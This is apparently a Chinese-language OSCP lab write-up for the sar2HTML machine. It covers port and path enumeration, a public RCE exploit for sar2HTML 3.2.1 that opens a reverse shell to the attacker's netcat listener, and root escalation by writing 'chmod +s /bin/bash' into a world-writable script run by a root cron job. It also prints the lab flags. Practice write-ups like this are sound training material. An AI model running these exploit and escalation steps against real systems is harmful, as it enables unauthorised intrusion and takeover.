OSCP - Other Machines - sar2HTML

主要知识点

• 路径枚举
• cronjob提权

具体步骤

nmap扫描，只开了一个80端口

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 19:13 CST
Nmap scan report for 172.16.33.13
Host is up (0.035s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 36.78 seconds

枚举一下路径,发现有phpinfo和robots.txt，而robots.txt里有sar2HTML路径

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.33.13
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 277]
/.htaccess.php        (Status: 403) [Size: 277]
/.htpasswd            (Status: 403) [Size: 277]
/.htpasswd.php        (Status: 403) [Size: 277]
/phpinfo.php          (Status: 200) [Size: 95390]
/robots.txt           (Status: 200) [Size: 9]
/server-status        (Status: 403) [Size: 277]
Progress: 40952 / 40954 (100.00%)
===============================================================
Finished

尝试访问一下sar2HTML，得知是3.2.1版本，搜索一下得知其有RCE漏洞

搜索相关信息，得到

https://github.com/Jsmoreira02/sar2HTML_exploit

直接利用它的shell_mode得到reverse shell

──(kali㉿Timothy)-[~/Documents/GooAnn/172.16.33.13]
└─$ python sar2html_exploit.py  http://172.16.33.13/sar2HTML --shell_mode_____            _____  _   _ ________  ___ _          _____           _       _ _   
/  ___|          / __  \| | | |_   _|  \/  || |        |  ___|         | |     (_) |  
\ `--.  __ _ _ __`' / /'| |_| | | | | .  . || |  ______| |____  ___ __ | | ___  _| |_ `--. \/ _` | '__| / /  |  _  | | | | |\/| || | |______|  __\ \/ / '_ \| |/ _ \| | __|
/\__/ / (_| | |  ./ /___| | | | | | | |  | || |____    | |___>  <| |_) | | (_) | | |_ 
\____/ \__,_|_|  \_____/\_| |_/ \_/ \_|  |_/\_____/    \____/_/\_\ .__/|_|\___/|_|\__|| |                  |_|                  [+] URL found! Starting shell upload...
------------------------------
LHOST= 10.8.0.204
LPORT= 80
------------------------------[+] Creating process...---> Server started http://127.0.0.1:8000
---> Listening on port 80Can't grab 0.0.0.0:80 with bind : Permission denied
[!] SHELL upload is possible in the target!Spawning your shell :)

┌──(kali㉿Timothy)-[~/Documents/GooAnn/172.16.33.13]
└─$ sudo nc -nlvp 80
[sudo] password for kali: 
listening on [any] 80 ...
connect to [10.8.0.204] from (UNKNOWN) [172.16.33.13] 53186
bash: cannot set terminal process group (774): Inappropriate ioctl for device
bash: no job control in this shell
www-data@sar:/var/www/html/sar2HTML$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

sudo -l和suid都没有什么有用的信息，上传Linpeas.sh并执行，得到

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5  *    * * *   root    cd /var/www/html/ && sudo ./finally.sh
......
......

这个finally.sh比较可疑，查看一下,看起来这个finally.sh会调用write.sh,而我们对于write.sh有写权限

www-data@sar:/var/www/html/sar2HTML$ cd /var/www/html/
cd /var/www/html/
www-data@sar:/var/www/html$ ls -l
ls -l
total 32
-rwxr-xr-x 1 root     root        22 Oct 20  2019 finally.sh
-rw-r--r-- 1 www-data www-data 10918 Oct 20  2019 index.html
-rw-r--r-- 1 www-data www-data    21 Oct 20  2019 phpinfo.php
-rw-r--r-- 1 root     root         9 Oct 21  2019 robots.txt
drwxr-xr-x 4 www-data www-data  4096 Nov 16 16:07 sar2HTML
-rwxrwxrwx 1 www-data www-data    30 Nov 16 13:21 write.sh
www-data@sar:/var/www/html$ cat finally.sh
cat finally.sh
#!/bin/sh./write.sh

修改write.sh,让其赋予/bin/bash SUID

www-data@sar:/var/www/html$ echo "chmod +s /bin/bash" >write.sh
echo "chmod +s /bin/bash" >write.sh
www-data@sar:/var/www/html$ cat write.sh
cat write.sh
chmod +s /bin/bash

等几分钟后，提权成功

ww-data@sar:/var/www/html$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun  7  2019 /bin/bash
www-data@sar:/var/www/html$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
bash-4.4# cat /root/root.txt
cat /root/root.txt
66f93d6b2ca96c9ad78a8a9ba0008e99
bash-4.4# cat /home/love/Desktop/user.txt
cat /home/love/Desktop/user.txt
427a7e47deb4a8649c7cab38df232b52
bash-4.4#